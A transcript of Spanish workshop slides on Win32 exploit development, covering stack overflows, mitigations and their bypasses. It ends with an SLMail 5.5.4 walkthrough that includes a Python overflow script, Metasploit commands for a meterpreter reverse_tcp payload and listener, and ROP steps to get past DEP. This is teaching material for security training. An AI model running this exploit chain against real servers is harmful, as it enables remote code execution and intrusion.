Slides taller de exploiting Navaja Negra 4ed

Post on 02-Jul-2015

600 views 3 download

description

Slides utilizados en el taller de desarrollo de exploits de Navaja Negra 4ed

Transcript of Slides taller de exploiting Navaja Negra 4ed

Desarrollo de Exploits en Win32

Ignacio Sorribas

@nachosorribas / http://hardsec.net

¿Quien  soy  yo?  

•  Alguien  a  quien  le  encanta  aprender  cosas  •  Alguien  que  adora  romper  más  cosas  •  Alguien  que  intenta  arreglar  siempre  “todo  lo  que  rompe”  

•  Soy  Ignacio  Sorribas  “Nacho”  •  Ingeniero  Informá@co  por  la  UJI  (Castellón)  •  Cer@ficado  OSCP,  CISSP,  CCNA  y  CCNA  Security  •  Actualmente  trabajo  en  Wise  Security  como  Senior  IT  Security  Analyst  

Un  poco  de  teoría    •  Vulnerabilidad:  condición  que  puede  llevar  a  la  explotación  de  un  soSware.    

•  Exploit:  Código  que  aprovecha  una  vulnerabilidad  en  una  aplicación  para  realizar  operaciones  controladas  por  el  atacante  (ejecución  de  código).    

•  Payload/  Shellcode:  Código  máquina  que  el  exploit  inyecta  en  al  memoria  del  proceso  vulnerable.  An@guamente  creaba  o  devolvía  una  Shell.  

•  Buffer  overflow  (BOF):  Desbordamiento  de  buffer.  Condición  que  permite  introducir  datos  en  una  zona  de  memoria  de  un  tamaño  superior  al  que  tamaño  máximo  establecido  para  dicha  zona.    

Arquitectura  x86  •  Anillos  de  privilegio  del  

Sistema  opera@vo    

•  Las  llamadas  a  sistema  permiten  acceder  de  ring3  a  ring0  

•  32  bit  =  4Gb  de  RAM    •  Procesos  mapeados  de  

0x00000000  a  0x7fffffff  •  Espacio  memoria  para  cada  

proceso  y  thread  (stack,  heap,    .data,  etc)  

•  Mapeo  ficheros  PE  –  header(R)  –  .text(RX)  –  .reloc(R)  –  .data(RW)  

La  pila  •  Estructura  LIFO  •  Asignada  por  SO  para  

cada  thread  •  Crece  hacia  direcciones  

de  memoria  menores    •  Variables  locales,  

argumentos,  punteros  a  función,  etc    

•  PUSH  apila,  POP  desapila  •  ESP  marca  la  cima  de  la  

pila  

Registros  de  CPU  EIP:  Puntero  a  próxima  instrucción  (de  solo  lectura,  con@ene  la  dirección  absoluta  de  la  próxima  instrucción  a  ejecutar  por  la  CPU).    8  Registros  de  propósito  general  (parte  del  contexto  del  thread):  

–  EAX:  Acumulador  (suele  almacenar  el  resultado  de  los  cálculos  de  la  CPU).  

–  EBX:  Registro  Base  Extendido  (apoyo  para  acelerar  cálculos  ).    –  ECX:  Contador  (suele  u@lizarse  en  bucles).  –  EDX:  Datos  (extensión  de  eax  para  cálculos  más  complejos).  –  ESP:  Puntero  de  pila  (indica  la  cima  de  la  pila).  –  EBP:  Frame  Pointer  (indica  la  base  del  frame  de  la  pila).  –  ESI:  Source  Index  (localización  de  los  datos  de  entrada).  –  EDI:  Des@na@on  Index  (Des@no  donde  se  almacenaran  los  datos).    

Registros  CPU  Registros  de  segmento:  •  CS:  Code  segment  (base  de  la  sección  “.text”).  •  DS:  Data  segment  (base  de  la  sección  “.data”).  •  ES:  Extra  segment  (para  operaciones  con  strings).  •  SS:  Stack  segment  (base  de  la  pila).  •  FS:  Extra  •  GS:  Extra    Registro  EFLAGS  (32  bits  divididos  de  la  siguiente  forma):  •  CF  (Carry  flag).  •  ZF  (Zero  flag).  •  PF  (flag  de  paridad).  •  SF  (flag  de  signo).  •  DF  (Direc@on  flag).    

CPU  

   ¿Cómo  se  almacenan  los  datos  en  memoria?  – x86  u@liza  “Liole  Endian”.  – El  valor  0x12345678  se  almacenará  en  memoria  como  “\x78\x56\x34\x12”.    

¿Cuál  es  el  obje@vo  al  realizar  un  exploit?  • Controlar  EIP,  pero  este  es  de  solo  lectura.    

¿Como  lo  controlamos?  • 2  métodos:  – Sobrescribir  el  EIP  almacenado  en  pila  por  una  función.  – Sobrescribir  la  estructura  de  control  de  excepciones  (SEH).  

 

¿qué  pasa  dentro  de  un  programa?  

•  Inicio  función  à  prólogo  •  Fin  función  à  epílogo  

•  El  “prólogo”  guarda  el  estado  de  la  CPU  para  devolver  el  flujo  de  ejecución  al  terminar.  (puntero  próxima  instrucción).  

•  El  “epílogo”  restaura  el  flujo  de  ejecución  anterior  a  la  llamada  a  la  función  (copia  en  EIP  el  valor  que  almacenó  el  prólogo  en  la  pila).    

Ejemplo  //  Programa  de  ejemplo  int  foobar(int  a,  int  b,  int  c)  {          //  Código  de  la  función.          int  x  =  a  +2;          int  y  =  b  +  10;          return  x+y+c;  }      int  main()  {          return  foobar(10,50,65);  }    

•  Los  argumentos  se  introducen  en  la  pila  en  orden  inverso.  

•  “call”  guarda  la  dirección  de  retorno    (saved  EIP)  

 

•  Se  guarda  EBP  

;prólogo  de  la  función  de  ejemplo  push  ebp      ;  Guardamos  el  base  pointer  viejo  en  la  pila  mov  ebp,esp      ;  Fijamos  el  valor  del  stack  pointer  sub  esp,8        ;Espacio  para  variables  locales  

•  Se  fija  el  nuevo  frame  de  pila  

•  Se  reserva  espacio  para  las  variables  locales  

Al  finalizar  la  función  se  ejecuta  el  epílogo  (leave)     ;Epílogo  

mov  esp,ebp        ;  mueve  el  stack  pointer  al  ebp  dentro  de  la  función  pop  ebp      ;  restaura  ebp  del  frame  anterior    

Se  mueve  ESP  a  la  base  de  la  pila   En  EBP  se  restaura  el  EBP  anterior  

Instrucción  “ret”  copia  en  EIP  el  dword  del  tope  de  la  pila  

Ovewrite  saved  EIP:  el  obje@vo  es  sobrescribir  el  valor  almacenado  por  la  instrucción  “call”  en  pila,  para  que  “ret”  lo  restaure  en  EIP  y  nos  otorgue  el  control  de  la  ejecución.    

Tenemos  el  control  de  EIP  

Contramedidas  •  Stack  Cookies  •  ASLR  •  SafeSeh  •  HW  DEP/NX  

Stack  Cookies  

•  Compilando  con  /GS  •  Un  “dowrd”  aleatorio  en  “.data”  •  Cookie  =  valor  “.data”  ^  EBP  •  Push  de  la  Cookie  despues  de  EBP  

El  epílogo  recupera  el  SC,  y  lo  comparara  con  el  valor  almacenado  en  “.data”  “Xoreado”  con  EBP.  Si  no  coinciden,  se  aborta  el  proceso.    Para  sobrescribir  EIP  es  necesario  sobrescribir  SC.      Bypass:  Sobrescribir  la  Cookie  

•  Fuerza  bruta  si  la  aplicación  lo  permite.  •  U@lizar  algún  “leak”  de  memoria  de  la  aplicación  que  nos  

permita  leer  la  Cookie  de  “.data”.  •  Si  se  puede  hacer  una  escritura  en  una  zona  arbitraria,  

sobrescribir  4  bytes  en  la  sección  “.data”  (es  RW)  que  almacena  la  Cookie  con  un  valor  que  controlemos.  

Evitar  la  Cookie  •  U@lizar  SEH  (Si  se  produce  una  violación  de  memoria  y  se  

llama  a  SEH,  la  Cookie  no  se  llega  a  comprobar  ya  que  la  función  no  ha  acabado).  

•  Algún  modo  de  redirigir  el  flujo  antes  de  que  la  función  acabe  y  se  compruebe  la  Cookie  (Vtable,  Func@on  pointer).  

ASLR  (Address  Space  Layout  RandomizaGon)    •  En  cada  reinicio  de  la  máquina,  la  dirección  de  memoria  donde  se  

cargan  los  módulos  cambia  (solo  la  base  0xAABBCCDD).  •  Windows  Vista  y  superiores.  •  Complica  el  uso  de  punteros  a  funciones  de  dichos  módulos  para  

realizar  saltos.  •  Se  ac@va  con  un  flag  del  “linker”  (/DYNAMICBASE)      ¿Cómo  saltarnos  ASLR?    •  Evitar  ASLR  

•  Muchas  librerías  y  módulos  siguen  compilándose  sin  ASLR  •  Escritura  parcial  

•  Solo  cambian  los  2  bytes  de  la  base  •  Si  encontramos  un  puntero  viable  en  el  mismo  módulo  o  binario  

vulnerable,  podemos  llegar  a  el  tan  solo  cambiando  2  bytes.      

•  Fuerza  bruta  •  Si  la  aplicación  lo  permite  •  La  dirección  de  memoria  cambia  después  de  un  reinicio.    

•  Con  un  “leak”  de  memoria  (otra  vulnerabilidad  que  nos  permita  conocer  la  dirección  donde  está  cargado  el  módulo).    

Ejemplo  de  escritura  parcial:  •  Supongamos  que  sobrescribimos  EIP  después  de  500  

bytes,  así  que  introducimos  “A”*500+”B”.  Comprobamos  en  el  “debuger”  y  “EIP=0x00400042”  (el  42  es  nuestra  B).  

•  Ahora  supongamos  que  ESP  o  EAX  con@enen  un  puntero  a  la  zona  donde  hemos  me@dos  las  “A”.  Deberemos  mirar  la  memoria  desde  0x00400000  a  0x0040ffff  en  busca  de  un  puntero  “jmp  eax”  o  en  caso  de  tener  el  puntero  en  ESP  un  “ret”.  Si  lo  encontramos,  entonces  podemos  alcanzar  el  shellcode  con  solo  sobrescribir  1  o  2  bytes  de  EIP    

•  Tip:  liole  Endian.  •  Depende  en  gran  medida  de  la  suerte.  

SAFESEH  •  Se  ac@va  compilando  con  el  flag  “/SAFESEH”.  •  Evita  la  creación  de  de  manejadores  de  excepción  “custom”.  •  Crea  una  tabla  con  manejadores  válidos  en  el  momento  de  la  

compilación.    ¿cómo  evitarlo?  •  U@lizar  punteros  de  módulos  no  protegidos  con  “safeseh”.    

DEP  (Data  ExecuGon  PrevenGon)  •  Evita  la  ejecución  de  código  en  la  pila  (stack)  en  el  “heap”  y  en  las  

secciones  “.data”  de  memoria.  •  Necesita  soporte  de  la  CPU.  Si  no  hay  soporte  es  SW  DEP  =  Safeseh  •  Si  se  intenta  ejecutar  código  en  la  pila  se  ob@ene  una  violación  de  acceso  

“0xc0000005”.  •  Se  u@lizan  4  modos:  

•  OptIn:  Solo  afecta  a  módulos/servicios  específicos  del  SO  •  OptOut:  Todos  los  procesos  excepto  los  que  se  encuentran  en  una  

lista  de  exclusión.  •  AllwaysOn:  Todos  los  procesos,  sin  excepciones.  •  AllwaysOff:  no  DEP  

•  (Por  defecto:  XP  &  Vista  SP0  à  OptIn;  Vista  SP1  &  Win7  à  OptIn;  Server  2003  &  2008  à  OptOut)  

 

¿Cómo  saltarnos  DEP?  •  Return  to  libc:  Preparar  los  argumentos  para  llamar  a  

una  función  del  SO  en  la  pila  y  hacer  que  EIP  apunte  a  la  función  en  cues@ón.  

 •  ROP  (Return-­‐oriented  Programming).    

•  Crear  cadena  de  “Gadgets”  (Instrucciones  ya  cargadas  en  memoria  con  un  “ret”  a  con@nuación)  

•  invocar  alguna  acción  para  deshabilitar  DEP  para  el  proceso.    

•  EIP  apunta  a  una  instrucción  “ret”      

•  Algunas  API  de  windows  recomendadas  para  ROP:  •  VirtualAlloc  (all  Windows  versions)  •  VirtualProtect  (all  Windows  versions)  •  WriteProccessMemory  

 

SLMAIL 5.5.4

Pasos:  •  Encontrar  un  buffer  que  permita  el  desbordamiento.  •  Encontrar  la  distancia  desde  el  principio  del  buffer  que  permite  

sobrescribir  el  valor  de  EIP  almacenado  en  pila  (offset).  •  Localizar  un  espacio  de  memoria  que  controlemos  donde  

podamos  almacenar  nuestro  “shellcode".  •  Averiguar  los  caracteres  no  válidos  (Bad  characters).  •  Modificar  el  valor  del  EIP  guardado  en  pila  para  saltar  a  la  zona  

donde  hemos  inyectado  el  shellcode.  

Configuración  de  “mona”  en  Immunity  Debugger:  •  !mona  config  -­‐set  workingfolder    c:\logs\%p  

•  Encontrar  la  vulnerabilidad  

import  sys  import  socket      buffer  =  'A'  *  6000  HOST  =  '127.0.0.1'  PORT  =  110      s  =  socket.socket(socket.AF_INET,  socket.SOCK_STREAM)  s.connect((HOST,  PORT))  data  =  s.recv(1024)  print  'Received',  repr(data)  s.send('USER  username'+'\r\n')  data  =  s.recv(1024)  print  'Received',  repr(data)  s.send('PASS  '  +  buffer  +  '\r\n')  s.close()  

•  Encontrar  la  distancia  desde  el  principio  del  buffer  que  permite  sobrescribir  el  valor  de  EIP  almacenado  en  pila  (offset).  •  !mona  paoern_create  6000  •  !mona  findmsp    

•  Comprobar  que  las  distancias  son  correctas.  

•  Encontrar  espacio  para  nuestro  shellcode  •  Generar  meterpreter/reverse_tcp  payload  (var  tamaño)  

•  msfpayload  windows/meterpreter/reverse_tcp  LHOST=xxx.xxx.xxx.xxx  R  |  msfencode  -­‐b  ‘\xXX’  -­‐e    x86/shikata_ga_nai  -­‐t  c  

•  Descartar  “Bad  Chars”.  •  !mona  bytearray  (bytearray.txt  &  bytearray.bin)    •  !mona  compare  -­‐f  “c:\logs\SLMAIL\bytearray.bin”  -­‐a  

0xXXXXXX  •  !mona  bytearray  -­‐cpb  ‘\x00\x…’    

•  Encontrar  puntero  para  salto  a  shellcode  •  !mona  jmp  -­‐r  ESP  

Nota:  Cuando  ejecutamos  un  shellcode  inyectado  en  el  stack,  hay  que  asegurarse  que  el  registro  ESP  apunta  a  una  dirección  de  memoria  menor  que  la  con@ene  el  shellcode,  para  evitar  que  las  dis@ntas  instrucciones  “push  y  pop”  que  se  ejecuten  en  el  shellcode  lo  dañen  al  sobrescribir  valores  en  la  pila.    

•  Levantar  un  “listener”  de  Metasploit  •  msfcli  exploit/mul@/handler  payload=windows/meterpreter/

reverse_tcp  LHOST=192.168.65.156  EXITFUNC=thread  E  •  Comprobar  que  todo  funciona  OK.  

•  Breakpoint  en  el  salto.  •  ¿Saltamos  al  Shellcode?  •  ¿Funciona?  ¿por  qué?  

DEP  (Data  Execu@on  Preven@on)  

Ac@vación:  

Ahora  nuestro  exploit  no  funciona:  

DEP  no  permite  que  se  ejecute  código  en  la  pila.  •  Podemos  llamar  a  punteros  a  instrucciones  •  ROP  Gadgets,  instrucciones  seguidas  de  “ret”  

 Windows  ofrece  funciones  que  permiten  modificar  el  comportamiento  de  DEP  en  zonas  de  memoria  específicas.  

•  VirtualAlloc  •  VirtualProtect  •  ….  

 

Pasos  para  construir  un  exploit  con  DEP  Bypass.  •  Buscar  un  “rop  chain”  que  ejecute  VirtualAlloc  

•  !mona  rop  •  !mona  rop  –cpb  ‘\x00\x0a\x0d’  -­‐m  msvcrt.dll  

•  Poner  a  con@nuación  el  shellcode.  •  Sus@tuir  la  instrucción  “jmp  esp”  apuntada  por  EIP  por  una  

instrucción  “ret”  (la  sacamos  de  rop.txt)  

P W N E D ! ! !